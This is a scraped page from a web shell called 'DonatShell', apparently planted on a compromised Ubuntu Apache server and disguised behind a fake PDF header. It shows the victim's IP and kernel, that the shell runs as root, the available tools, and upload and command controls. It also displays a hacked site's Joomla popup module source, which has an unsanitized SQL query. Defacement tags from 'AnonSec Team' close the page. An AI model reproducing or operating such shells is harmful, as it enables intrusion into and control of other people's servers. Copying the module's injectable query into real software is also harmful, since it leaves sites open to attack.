%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.248
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/modules/mod_jq-dailypop/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/modules/mod_jq-dailypop/mod_jq-dailypop.php
<?php
/**
 * @package 	Module JQuery Daily Pop
 * @version 	1.7
 * @author 		Yannick Tanguy
 * @copyright 	Copyright (C) 2016 - yannick Tanguy
 * @license 	GNU/GPL http://www.gnu.org/copyleft/gpl.html
 **/

defined( "_JEXEC" ) or die( "Restricted access" );

// Include the syndicate functions only once
require_once dirname(__FILE__).'/helper.php';

// Get parameters
$style	= $params->get( 'styledailypop', 'black' );
$textebouton = $params->get( 'textbutton', 'Close' );
$width	= $params->get( 'width', 800 );
$debugdaily = $params->get( 'debugdaily', 0);
$actimod = $params->get( 'articoumodule', '0');
$articleid = $params->get( 'title', '');
$moduleid = $params->get( 'titlem', '');
$timer = $params->get( 'timer', '10');
$afterday = $params->get( 'afterday', '1');
$animation = $params->get( 'animation', '0');
$actianim = $params->get( 'actianim', '0');
$positbout = $params->get( 'positbout', '0');
$leid = $module->id;

//Get IP address + client navigator
$ipduclient=$_SERVER["REMOTE_ADDR"];
$navigatorclient= $_SERVER["HTTP_USER_AGENT"];
$encodenaviptmp= base64_encode($ipduclient.$navigatorclient);
$encodenavip = substr($encodenaviptmp,0,100);

// Today
$lastaccess=time();

// Calcul de date pour déterminé la durée entre aujourd'hui et l'autre date
$dateincl= $afterday * ( 24 * 60 * 60);
$calcultime= $lastaccess - $dateincl;
$creafile=0;

// Directories to use for jQ Daily PopUp
$repert1=getcwd().'/cache/jq-dailypopup/';
$repert=$repert1.$leid.'/';
$repertip=$repert.$encodenavip.'/';

$messagederreur="";

// Try to test if directory contain file and verify time delay
if (file_exists($repertip)){
	$dir = opendir($repertip);
	$calc=0;
	while($file = readdir($dir)) {
		if($file != '.' and $file != '..' and $file != 'index.html'){
			$calc++;
			if ($file <= $calcultime){
				recursiveDelete($repertip);
				$creafile=1;
			}
		}
	}
	if ($calc==0){
		$creafile=1;
	}
}
// Test root temp dailypopup module directory and create clear index.html and directories
if (!file_exists($repert1)) { 
    if (!mkdir($repert1, 0777, true)) {
        $messagederreur='<div class="alertpopup">ALERT !!! --- <span>Your Joomla Cache\'s directory must to be writable.</span> --- !!! ALERT</div>';
    }
}
if (!file_exists($repert)) { mkdir ($repert, 0777); }
if (!file_exists($repertip)) { mkdir ($repertip, 0777); }

if (!file_exists($repert1.'index.html')) {
	$fpa=@fopen($repert1.'index.html',"a+");
	@fclose($fpa);
}
if (!file_exists($repert.'index.html')) {
	$fpc=@fopen($repert.'index.html',"a+");
	@fclose($fpc);
}
if (!file_exists($repertip.'index.html')) {
	$fpb=@fopen($repertip.'index.html',"a+");
	@fclose($fpb);
	$creafile=1;
}

// File creation
if ($creafile==1) {
	$fpd=@fopen($repertip.$lastaccess,"a+");
	@fclose($fpd);
}

//Debug Mode
if ($debugdaily==1){
	if (file_exists($repertip)) {
		recursiveDelete($repertip);
	}
	$creafile=1;
}

if ($creafile==1) {	
	$db = JFactory::getDBO();
	$doc = JFactory::getDocument();
	// Include Style & Script to show PopUp
	$doc->addStyleSheet( JURI::Root(true).'/modules/mod_jq-dailypop/style/css.css' );
	$doc->addStyleSheet( JURI::Root(true).'/modules/mod_jq-dailypop/style/'.$style.'/css.css' );
	$doc->addScript( JURI::Root(true).'/modules/mod_jq-dailypop/js/js.js' );
	$passpas='1';
	
	if ($actimod==0){
		// Load Article
		$sql = "SELECT introtext FROM #__content WHERE id = ".intval($articleid);
		$db->setQuery($sql);
		$ArticleComp = $db->loadResult();
		if(!strlen(trim($ArticleComp))){ $ArticleComp = "<div align=\"center\"> --------------- </div>"; }
	}
	if ($actimod==1){
		// Load Module
		jimport( 'joomla.application.module.helper' );
		$db->setQuery("SELECT module FROM #__modules WHERE id = ".$moduleid);
		$typemodule = $db->loadResult();
		$db->setQuery("SELECT title FROM #__modules WHERE id = ".$moduleid);
		$namemodule = $db->loadResult();
		$module = JModuleHelper::getModule( $typemodule, $namemodule );
		$ArticleComp = JModuleHelper::renderModule( $module );
	}
	// bouton position
	$bouton='<div class="posdailybut"><input type="button" class="dailybutton" align="center" id="closedailyp" value="'.$textebouton.'"></div>';
	if ($positbout==0){ $positclass='btnb'; }
	if ($positbout==1){ $positclass='btnh'; }
	
	// jQ DailyPop UP
	$text='
    <div id="dailyfullscreen" class="'.$positclass.'">
        <div class="copyrightyannt">
            <a href="http://www.yannicktanguy.com" target="_blank">Daily PopUp By YannickTanguy.com</a>
        </div>
        <div id="dailyposition">'.$messagederreur.$ArticleComp.$bouton.'</div>
    </div>';
	echo '
    <div id="dailycomplete">'.$text.'
        <input type="hidden" id="dailypopupwidth" value="'.$width.'">
        <input type="hidden" id="jqtimer" value="'.$timer.'">
        <input type="hidden" id="jqanime" value="'.$animation.'">
        <input type="hidden" id="actianim" value="'.$actianim.'">
    </div>';
} 
else { $passpas='0'; }
?>

Anon7 - 2022
AnonSec Team